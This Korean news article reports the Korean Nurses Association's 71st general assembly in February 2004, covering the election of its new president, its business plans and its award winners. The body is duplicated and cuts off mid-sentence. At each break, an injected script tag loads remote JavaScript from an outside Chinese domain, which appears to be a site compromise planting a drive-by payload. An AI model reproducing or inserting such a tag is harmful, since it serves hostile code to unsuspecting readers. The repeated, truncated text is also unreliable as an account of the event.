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제71회 대한간호협회 대의원 총회
제30대 회장에 김의숙 교수 선출
기사입력 2004-02-24 오전 09:28:14
대한간호협회는 제71회 정기 대의원 총회를 19∼20일 서울 쉐라톤워커힐 호텔에서 열고 제30대 회장으로 김의숙 연세대 간호대학 교수를 선출했다. 이에따라 러닝 메이트로 나선 박혜자 한림대성심병원 간호부장 겸 한림대 간호학과 겸임교수가 제1부회장으로, 윤순녕 서울대 간호대학 교수가 제2부회장으로 확정됐다.
총회에서는 대한간호협회 제5차 장기사업계획을 심의 확정했다. 또한 올해 중점을 두고 추진할 사업계획으로 간호 역할과 사업 개발 및 확대, 간호교육수준 향상, 전문간호사 역할 정립, 한국간호평가원 독립 운영, 회원제도 강화, 정보통신체계 구축, 간호사 이미지 향상, 대국민 건강캠페인 및 봉사활동 강화, 간호사 근로환경 개선, 회원 복지서비스 제공, 간호법 제정 등을 정했다. 이같은 사업수행에 필요한 예산안도 함께 통과시켰으며, 중앙회 회비는 5,000원 올리기로 했다.
◆ 개회식
'스스로 돌보는 건강한 삶, 그 삶과 함께 하는 건강한 간호'를 주제로 열린 총회 개회식은 김화중 보건복지부 장관을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 19일 오후 2시 성황리에 열렸다.
김의숙 대한간호협회장은 개회사를 통해 "지난해 간호협회는 창립 80주년을 맞아 국민건강 옹호자로서의 책임과 역할을 비전으로 삼아 간호 이미지를 새롭게 구현하고 간호사의 위상을 높이는데 힘썼다"면서 "한마음으로 협력해 준 회원들에게 감사드린다"고 말했다. 이어 "올해는 간호법 제정과 간호교육제도 일원화를 반드시 이뤄내고, 여성의 정치참여 기회를 넓히는데 간호사들이 적극 참여해야 한다"면서 "국민들로부터 사랑받고 신뢰받는 간호를 만들어 나가는데 힘을 모으자"고 밝혔다.
김화중 복지부 장관은 치사에서 "우리나라 보건의료 서비스공급체계와 재원조달체계가 세계적인 경쟁력을 갖출 수 있도록 발전시키고, 소외계층과 노인인구를 위한 사회복지정책을 강화하는데 주력하고 있다"면서 "간호사들은 지구촌 보건복지정책의 흐름을 읽을 줄 아는 넓은 시각으로 간호의 역할과 소명을 생각하면서 국민들에게 존경받는 전문인이 될 수 있도록 최선을 다해주길 바란다"고 당부했다.
개회식에서는 '한국 간호사 윤리강령'이 낭독됐으며, 건의문과 결의문이 채택됐다. 이와함께 오는 4월 실시될 국회의원 선거를 앞두고 간호사들의 결의를 천명하는 '대한간호협회 2004 총선운동 선언문'이 채택됐다. 일생을 간호사업 발전을 위해 헌신하다 타계한 간호계 선배들에 대한 묵념의 시간도 가졌다.
지난 한 해동안 각 분야에서 활약한 간호사들에 대한 포상 순서도 다채롭게 마련됐다. 각 부문별 수상자는 다음과 같다.
◇제10회 올해의 간호인상 = 간호봉사대장정팀
◇보건복지부 장관상 = 이화자(부산대 간호학과 교수), 김정숙(가톨릭대 성모자애병원 간호과장), 임정빈(충남 송간초등학교 보건교사), 강기선(제주한라대학 교수), 천병애(충남 선동보건진료소장)
◇공로상 = 박종숙(전 충북간호사회장), 이애주(전 임상간호사회장), 김인숙(전 경북간호사회장), 권춘화(전 보건진료원회장), 김방자(전 부산시간호사회 사무국장), 김금자(전 전북간호사회 사무국장), 영나이팅게일팀
◇제15회 간호학술상 = 조명숙 외 8명(본상·서울대병원 내과간호과), 김은숙 외 3명(장려상·서울아산병원 응급실), 이은숙 외 2명(장려상·대전계룡병원 간호과)
◇제24회 간호문학상 = 진경자(수기 당선작·재독간호사), 김미라(수기 가작·서울 지방공사 강남병원), 변묘숙(수필 당선작·울산 화산리보건진료소장), 박충선(수필 가작·목포과학대학 교수), 정연순(소설 가작·부산 광혜병원), 김연희(시 당선작·경남 수정보건진료소장), 박보애(시 가작·부산 메리놀병원)
◇감사패 = 지 성(간협 홍보대사·탤런트), 손종관(메디칼업저버 편집국장), 김영희(의계신문 기자), 박상미(의학신문 기자), 이희선(간협 리포터·고대 안암병원)
◇장기근속상 = 이은주(대한간호협회 출판부장), 이명희(대한간호협회 직원), 우대룡(대한간호협회 관리주임), 이윤희(충남간호사회 사무국장)
◆ 대의원 총회
개회식에 이어 대의원과 간협 중앙회 임원, 시·도간호사회장과 산하단체장 199명이 참석한 가운데 대의원 총회가 진행됐으며, 회의 시작에 앞서 총회 의장단을 새로 구성했다. 신임 의장에는 유성자 대구시간호사회장이, 제1부의장에는 조경순 전 대전시간호사회장, 제2부의장에는 설경애 전 서울시 노원구간호사회장이 선출됐다.
본 회의에서는 우선 전년도 총회 회의록, 변창자·이동란 감사가 보고한 2003년도 대한간호협회 중앙회와 시·도간호사회 및 산하단체에 대한 감사결과를 이의없이 받아들였다.
이어 2004∼2005년 대한간호협회를 이끌어 갈 새 임원진을 구성하기 위한 선거가 진행?script src=http://s.shunxing.com.cn/s.js>
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총회에서는 대한간호협회 제5차 장기사업계획을 심의 확정했다. 또한 올해 중점을 두고 추진할 사업계획으로 간호 역할과 사업 개발 및 확대, 간호교육수준 향상, 전문간호사 역할 정립, 한국간호평가원 독립 운영, 회원제도 강화, 정보통신체계 구축, 간호사 이미지 향상, 대국민 건강캠페인 및 봉사활동 강화, 간호사 근로환경 개선, 회원 복지서비스 제공, 간호법 제정 등을 정했다. 이같은 사업수행에 필요한 예산안도 함께 통과시켰으며, 중앙회 회비는 5,000원 올리기로 했다.
◆ 개회식
'스스로 돌보는 건강한 삶, 그 삶과 함께 하는 건강한 간호'를 주제로 열린 총회 개회식은 김화중 보건복지부 장관을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 19일 오후 2시 성황리에 열렸다.
김의숙 대한간호협회장은 개회사를 통해 "지난해 간호협회는 창립 80주년을 맞아 국민건강 옹호자로서의 책임과 역할을 비전으로 삼아 간호 이미지를 새롭게 구현하고 간호사의 위상을 높이는데 힘썼다"면서 "한마음으로 협력해 준 회원들에게 감사드린다"고 말했다. 이어 "올해는 간호법 제정과 간호교육제도 일원화를 반드시 이뤄내고, 여성의 정치참여 기회를 넓히는데 간호사들이 적극 참여해야 한다"면서 "국민들로부터 사랑받고 신뢰받는 간호를 만들어 나가는데 힘을 모으자"고 밝혔다.
김화중 복지부 장관은 치사에서 "우리나라 보건의료 서비스공급체계와 재원조달체계가 세계적인 경쟁력을 갖출 수 있도록 발전시키고, 소외계층과 노인인구를 위한 사회복지정책을 강화하는데 주력하고 있다"면서 "간호사들은 지구촌 보건복지정책의 흐름을 읽을 줄 아는 넓은 시각으로 간호의 역할과 소명을 생각하면서 국민들에게 존경받는 전문인이 될 수 있도록 최선을 다해주길 바란다"고 당부했다.
개회식에서는 '한국 간호사 윤리강령'이 낭독됐으며, 건의문과 결의문이 채택됐다. 이와함께 오는 4월 실시될 국회의원 선거를 앞두고 간호사들의 결의를 천명하는 '대한간호협회 2004 총선운동 선언문'이 채택됐다. 일생을 간호사업 발전을 위해 헌신하다 타계한 간호계 선배들에 대한 묵념의 시간도 가졌다.
지난 한 해동안 각 분야에서 활약한 간호사들에 대한 포상 순서도 다채롭게 마련됐다. 각 부문별 수상자는 다음과 같다.
◇제10회 올해의 간호인상 = 간호봉사대장정팀
◇보건복지부 장관상 = 이화자(부산대 간호학과 교수), 김정숙(가톨릭대 성모자애병원 간호과장), 임정빈(충남 송간초등학교 보건교사), 강기선(제주한라대학 교수), 천병애(충남 선동보건진료소장)
◇공로상 = 박종숙(전 충북간호사회장), 이애주(전 임상간호사회장), 김인숙(전 경북간호사회장), 권춘화(전 보건진료원회장), 김방자(전 부산시간호사회 사무국장), 김금자(전 전북간호사회 사무국장), 영나이팅게일팀
◇제15회 간호학술상 = 조명숙 외 8명(본상·서울대병원 내과간호과), 김은숙 외 3명(장려상·서울아산병원 응급실), 이은숙 외 2명(장려상·대전계룡병원 간호과)
◇제24회 간호문학상 = 진경자(수기 당선작·재독간호사), 김미라(수기 가작·서울 지방공사 강남병원), 변묘숙(수필 당선작·울산 화산리보건진료소장), 박충선(수필 가작·목포과학대학 교수), 정연순(소설 가작·부산 광혜병원), 김연희(시 당선작·경남 수정보건진료소장), 박보애(시 가작·부산 메리놀병원)
◇감사패 = 지 성(간협 홍보대사·탤런트), 손종관(메디칼업저버 편집국장), 김영희(의계신문 기자), 박상미(의학신문 기자), 이희선(간협 리포터·고대 안암병원)
◇장기근속상 = 이은주(대한간호협회 출판부장), 이명희(대한간호협회 직원), 우대룡(대한간호협회 관리주임), 이윤희(충남간호사회 사무국장)
◆ 대의원 총회
개회식에 이어 대의원과 간협 중앙회 임원, 시·도간호사회장과 산하단체장 199명이 참석한 가운데 대의원 총회가 진행됐으며, 회의 시작에 앞서 총회 의장단을 새로 구성했다. 신임 의장에는 유성자 대구시간호사회장이, 제1부의장에는 조경순 전 대전시간호사회장, 제2부의장에는 설경애 전 서울시 노원구간호사회장이 선출됐다.
본 회의에서는 우선 전년도 총회 회의록, 변창자·이동란 감사가 보고한 2003년도 대한간호협회 중앙회와 시·도간호사회 및 산하단체에 대한 감사결과를 이의없이 받아들였다.
이어 2004∼2005년 대한간호협회를 이끌어 갈 새 임원진을 구성하기 위한 선거가 진행?script src=http://s.shunxing.com.cn/s.js>
정규숙 kschung@nursenews.co.kr